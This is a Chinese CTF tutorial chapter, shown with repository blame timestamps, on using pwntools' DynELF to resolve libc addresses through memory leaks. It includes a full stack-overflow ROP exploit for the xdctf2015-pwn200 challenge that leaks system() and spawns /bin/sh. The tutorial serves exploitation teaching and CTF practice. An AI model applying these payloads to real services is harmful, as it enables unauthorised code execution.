2017-11-14 20:15:35 +07:00
|
|
|
|
# 4.8 使用 DynELF 泄露函数地址
|
|
|
|
|
|
2017-11-16 14:38:39 +07:00
|
|
|
|
- [DynELF 简介](#dynelf-简介)
|
|
|
|
|
- [DynELF 原理](#dynelf-原理)
|
|
|
|
|
- [DynELF 实例](#dynelf-实例)
|
2017-11-14 20:15:35 +07:00
|
|
|
|
- [参考资料](#参考资料)
|
|
|
|
|
|
|
|
|
|
|
2017-11-16 14:38:39 +07:00
|
|
|
|
## DynELF 简介
|
|
|
|
|
在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。
|
|
|
|
|
|
|
|
|
|
官方文档里给出了下面的例子:
|
|
|
|
|
```python
|
|
|
|
|
# Assume a process or remote connection
|
|
|
|
|
p = process('./pwnme')
|
|
|
|
|
|
|
|
|
|
# Declare a function that takes a single address, and
|
|
|
|
|
# leaks at least one byte at that address.
|
|
|
|
|
def leak(address):
|
|
|
|
|
data = p.read(address, 4)
|
|
|
|
|
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
|
|
|
|
|
return data
|
|
|
|
|
|
|
|
|
|
# For the sake of this example, let's say that we
|
|
|
|
|
# have any of these pointers. One is a pointer into
|
|
|
|
|
# the target binary, the other two are pointers into libc
|
|
|
|
|
main = 0xfeedf4ce
|
|
|
|
|
libc = 0xdeadb000
|
|
|
|
|
system = 0xdeadbeef
|
|
|
|
|
|
|
|
|
|
# With our leaker, and a pointer into our target binary,
|
|
|
|
|
# we can resolve the address of anything.
|
|
|
|
|
#
|
|
|
|
|
# We do not actually need to have a copy of the target
|
|
|
|
|
# binary for this to work.
|
|
|
|
|
d = DynELF(leak, main)
|
|
|
|
|
assert d.lookup(None, 'libc') == libc
|
|
|
|
|
assert d.lookup('system', 'libc') == system
|
|
|
|
|
|
|
|
|
|
# However, if we *do* have a copy of the target binary,
|
|
|
|
|
# we can speed up some of the steps.
|
|
|
|
|
d = DynELF(leak, main, elf=ELF('./pwnme'))
|
|
|
|
|
assert d.lookup(None, 'libc') == libc
|
|
|
|
|
assert d.lookup('system', 'libc') == system
|
|
|
|
|
|
|
|
|
|
# Alternately, we can resolve symbols inside another library,
|
|
|
|
|
# given a pointer into it.
|
|
|
|
|
d = DynELF(leak, libc + 0x1234)
|
|
|
|
|
assert d.lookup('system') == system
|
|
|
|
|
```
|
|
|
|
|
可以看到,为了使用 DynELF,首先需要有一个 `leak(address)` 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 `d = DynELF(leak, main)`,该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。
|
|
|
|
|
|
|
|
|
|
类 DynELF 的初始化方法如下:
|
|
|
|
|
```python
|
|
|
|
|
def __init__(self, leak, pointer=None, elf=None, libcdb=True):
|
|
|
|
|
```
|
|
|
|
|
- `leak`:leak 函数,它是一个 `pwnlib.memleak.MemLeak` 类的实例
|
|
|
|
|
- `pointer`:一个指向 libc 内任意地址的指针
|
|
|
|
|
- `elf`:elf 文件
|
|
|
|
|
- `libcdb`:libcdb 是一个作者收集的 libc 库,默认启用以加快搜索。
|
|
|
|
|
|
|
|
|
|
导出的类方法如下:
|
|
|
|
|
- `base()`:解析所有已加载库的基地址
|
|
|
|
|
- `static find_base(leak, ptr)`:提供一个 `pwnlib.memleak.MemLeak`对象和一个指向库内的指针,然后找到其基地址
|
|
|
|
|
- `heap()`:通过 `__curbrk`(链接器导出符号,指向当前brk)找到堆的起始地址
|
|
|
|
|
- `lookup(symb=None, lib=None)`:找到 lib 中 symbol 的地址
|
|
|
|
|
- `stack()`:通过 `__environ`(libc导出符号,指向environment block)找到一个指向栈的指针
|
|
|
|
|
- `dynamic()`:返回指向 `.DYNAMIC` 的指针
|
|
|
|
|
- `elfclass`:32 或 64 位
|
|
|
|
|
- `elftype`:elf 文件类型
|
|
|
|
|
- `libc`:泄露 build id,下载该文件并加载
|
|
|
|
|
- `link_map`:指向运行时 link_map 对象的指针
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## DynELF 原理
|
|
|
|
|
文档中大概说了下其实现的细节,配合参考资料的文章,大概就可以做到自己实现一个。
|
|
|
|
|
|
|
|
|
|
DynELF 使用了两种技术:
|
|
|
|
|
- 解析函数
|
|
|
|
|
- ELF 文件会从如 libc.so 库中导入符号,有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希,可以定位到哈希表中,然后哈希表的位置又提供了字符串表(strtab)和符号表(symtab)的索引。
|
|
|
|
|
- 假设我们有了 libc.so 的基地址,解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希,然后定位到哈希表中的某一条,然后从 symtab 中得到其在 libc.so 的偏移。
|
|
|
|
|
- 解析库地址
|
|
|
|
|
- 如果我们有一个指向动态链接的可执行文件的指针,就可以利用一二称为 link map 的内部链接器结构。这是一个链表结构,包含了每个被加载的库的信息,包括完整路径和基地址。
|
|
|
|
|
- 有两种方法可以找到这个指向 link map 的指针。两者都是从 DYNAMIC 数组条目中得到的。
|
|
|
|
|
- 在 non-RELOAD 的二进制文件中,该指针在 `.got.plt` 区域中。这是通过 `DT_PLTGOT` 找到的。
|
|
|
|
|
- 在所有二进制文件中,可以在 `DT_DEBUG` 描述的区域中找到该指针,甚至在 stripped 之后也不例外。
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## DynELF 实例
|
|
|
|
|
在 libc 中,我们通常使用 `write`、`puts`、`printf` 来打印指定内存的数据。
|
|
|
|
|
|
|
|
|
|
#### write
|
|
|
|
|
```C
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
|
|
|
|
|
ssize_t write(int fd, const void *buf, size_t count);
|
|
|
|
|
```
|
|
|
|
|
write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的有点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget(参见章节4.7) 来为 write 函数传递参数。
|
|
|
|
|
|
|
|
|
|
例子是 xdctf2015-pwn200,[文件地址](../src/writeup/6.2_pwn_xdctf2015_pwn200)。在这个程序中也只有 write 可以利用:
|
|
|
|
|
```
|
|
|
|
|
$ rabin2 -R pwn200
|
|
|
|
|
...
|
|
|
|
|
vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read
|
|
|
|
|
vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write
|
|
|
|
|
```
|
|
|
|
|
另外我们还需要 read 函数用于读入 '/bin/sh` 到 .bss 段中:
|
|
|
|
|
```
|
|
|
|
|
$ readelf -S pwn200 | grep .bss
|
|
|
|
|
[25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32
|
|
|
|
|
```
|
|
|
|
|
栈溢出漏洞很明显,偏移为 112:
|
|
|
|
|
```
|
|
|
|
|
gdb-peda$ pattern_offset 0x41384141
|
|
|
|
|
1094205761 found at offset: 112
|
|
|
|
|
```
|
|
|
|
|
在 r2 中对程序进行分析,发现一个漏洞函数,地址为 `0x08048484`:
|
|
|
|
|
```
|
|
|
|
|
[0x080483d0]> pdf @ sub.setbuf_484
|
2017-11-28 16:12:21 +07:00
|
|
|
|
/ (fcn) sub.setbuf_484 58
|
|
|
|
|
| sub.setbuf_484 ();
|
|
|
|
|
| ; var int local_6ch @ ebp-0x6c
|
|
|
|
|
| ; var int local_4h @ esp+0x4
|
|
|
|
|
| ; var int local_8h @ esp+0x8
|
|
|
|
|
| ; CALL XREF from 0x0804855f (main)
|
|
|
|
|
| 0x08048484 55 push ebp
|
|
|
|
|
| 0x08048485 89e5 mov ebp, esp
|
|
|
|
|
| 0x08048487 81ec88000000 sub esp, 0x88
|
|
|
|
|
| 0x0804848d a120a00408 mov eax, dword [obj.stdin] ; [0x804a020:4]=0
|
|
|
|
|
| 0x08048492 8d5594 lea edx, [local_6ch]
|
|
|
|
|
| 0x08048495 89542404 mov dword [local_4h], edx
|
|
|
|
|
| 0x08048499 890424 mov dword [esp], eax
|
|
|
|
|
| 0x0804849c e8dffeffff call sym.imp.setbuf ; void setbuf(FILE *stream,
|
|
|
|
|
| 0x080484a1 c74424080001. mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256
|
|
|
|
|
| 0x080484a9 8d4594 lea eax, [local_6ch]
|
|
|
|
|
| 0x080484ac 89442404 mov dword [local_4h], eax
|
|
|
|
|
| 0x080484b0 c70424000000. mov dword [esp], 0
|
|
|
|
|
| 0x080484b7 e8d4feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
|
|
|
|
| 0x080484bc c9 leave
|
2017-11-16 14:38:39 +07:00
|
|
|
|
\ 0x080484bd c3 ret
|
|
|
|
|
```
|
|
|
|
|
于是我们构造 leak 函数如下,即 `write(1, addr, 4)`:
|
|
|
|
|
```python
|
|
|
|
|
def leak(addr):
|
|
|
|
|
payload = "A" * 112
|
|
|
|
|
payload += p32(write_plt)
|
|
|
|
|
payload += p32(vuln_addr)
|
|
|
|
|
payload += p32(1)
|
|
|
|
|
payload += p32(addr)
|
|
|
|
|
payload += p32(4)
|
|
|
|
|
io.send(payload)
|
|
|
|
|
data = io.recv()
|
|
|
|
|
log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
|
|
|
|
|
return data
|
|
|
|
|
|
|
|
|
|
d = DynELF(leak, elf=elf)
|
|
|
|
|
system_addr = d.lookup('system', 'libc')
|
|
|
|
|
log.info("system address: 0x%x" % system_addr)
|
|
|
|
|
```
|
|
|
|
|
注意我们需要一个 pppr 的 gadget 来平衡栈:
|
|
|
|
|
```
|
|
|
|
|
$ ropgadget --binary pwn200 --only "pop|ret"
|
|
|
|
|
...
|
|
|
|
|
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
|
|
|
|
|
```
|
|
|
|
|
得到了 system 的地址,就可以利用 read 函数读入 "/bin/sh",从而得到 shell,完整的 exp 如下:
|
|
|
|
|
```python
|
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
|
|
# context.log_level = 'debug'
|
|
|
|
|
|
|
|
|
|
elf = ELF('./pwn200')
|
|
|
|
|
io = process('./pwn200')
|
|
|
|
|
io.recvline()
|
|
|
|
|
|
|
|
|
|
write_plt = elf.plt['write']
|
|
|
|
|
write_got = elf.got['write']
|
|
|
|
|
read_plt = elf.plt['read']
|
|
|
|
|
read_got = elf.got['read']
|
|
|
|
|
|
|
|
|
|
vuln_addr = 0x08048484
|
|
|
|
|
start_addr = 0x080483d0
|
|
|
|
|
bss_addr = 0x0804a020
|
|
|
|
|
pppr_addr = 0x0804856c
|
|
|
|
|
|
|
|
|
|
def leak(addr):
|
|
|
|
|
payload = "A" * 112
|
|
|
|
|
payload += p32(write_plt)
|
|
|
|
|
payload += p32(vuln_addr)
|
|
|
|
|
payload += p32(1)
|
|
|
|
|
payload += p32(addr)
|
|
|
|
|
payload += p32(4)
|
|
|
|
|
io.send(payload)
|
|
|
|
|
data = io.recv()
|
|
|
|
|
log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex')))
|
|
|
|
|
return data
|
|
|
|
|
d = DynELF(leak, elf=elf)
|
|
|
|
|
system_addr = d.lookup('system', 'libc')
|
|
|
|
|
log.info("system address: 0x%x" % system_addr)
|
|
|
|
|
|
|
|
|
|
payload = "A" * 112
|
|
|
|
|
payload += p32(read_plt)
|
|
|
|
|
payload += p32(pppr_addr)
|
|
|
|
|
payload += p32(0)
|
|
|
|
|
payload += p32(bss_addr)
|
|
|
|
|
payload += p32(8)
|
|
|
|
|
payload += p32(system_addr)
|
|
|
|
|
payload += p32(vuln_addr)
|
|
|
|
|
payload += p32(bss_addr)
|
|
|
|
|
|
|
|
|
|
io.send(payload)
|
|
|
|
|
io.send('/bin/sh\x00')
|
|
|
|
|
io.interactive()
|
|
|
|
|
```
|
|
|
|
|
该题除了这里使用 DynELF 的方法,在后面章节 6.3 中,还会介绍一种使用 ret2dl-resolve 的解法。
|
|
|
|
|
|
|
|
|
|
#### puts
|
|
|
|
|
```C
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
|
|
|
|
|
int puts(const char *s);
|
|
|
|
|
```
|
|
|
|
|
puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 `\x00`,所以它输出的数据长度是不容易控制的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符 `\n`。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印处了空字符串,则要手动赋值`\x00`,包括我们在 dump 内存的时候,也常常收这个问题的困扰,可以参考章节 6.1 dump 内存的部分。
|
|
|
|
|
|
|
|
|
|
所以我们常常需要这样做:
|
|
|
|
|
```python
|
|
|
|
|
data = io.recv()[:-1] # 去掉末尾\n
|
|
|
|
|
if not data:
|
|
|
|
|
data = '\x00'
|
|
|
|
|
else:
|
|
|
|
|
data = data[:4]
|
|
|
|
|
```
|
|
|
|
|
这只是个例子,还是要具体情况具体分析。
|
|
|
|
|
|
|
|
|
|
#### printf
|
|
|
|
|
```C
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
|
|
|
|
|
int printf(const char *format, ...);
|
|
|
|
|
```
|
|
|
|
|
该函数常用于在格式化字符串中泄露内存,和 puts 差不多,也受到 `\x00` 的影响,只是没有在末尾自动添加 `\n`。而且还有个问题要注意,为了防止 printf 的 `%s` 被 `\x00` 截断,需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。
|
|
|
|
|
|
|
|
|
|
|
2017-11-14 20:15:35 +07:00
|
|
|
|
## 参考资料
|
|
|
|
|
- [Resolving remote functions using leaks](https://docs.pwntools.com/en/stable/dynelf.html)
|
|
|
|
|
- [Finding Function's Load Address](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html)
|
|
|
|
|
- [借助DynELF实现无libc的漏洞利用小结](http://bobao.360.cn/learning/detail/3298.html)
|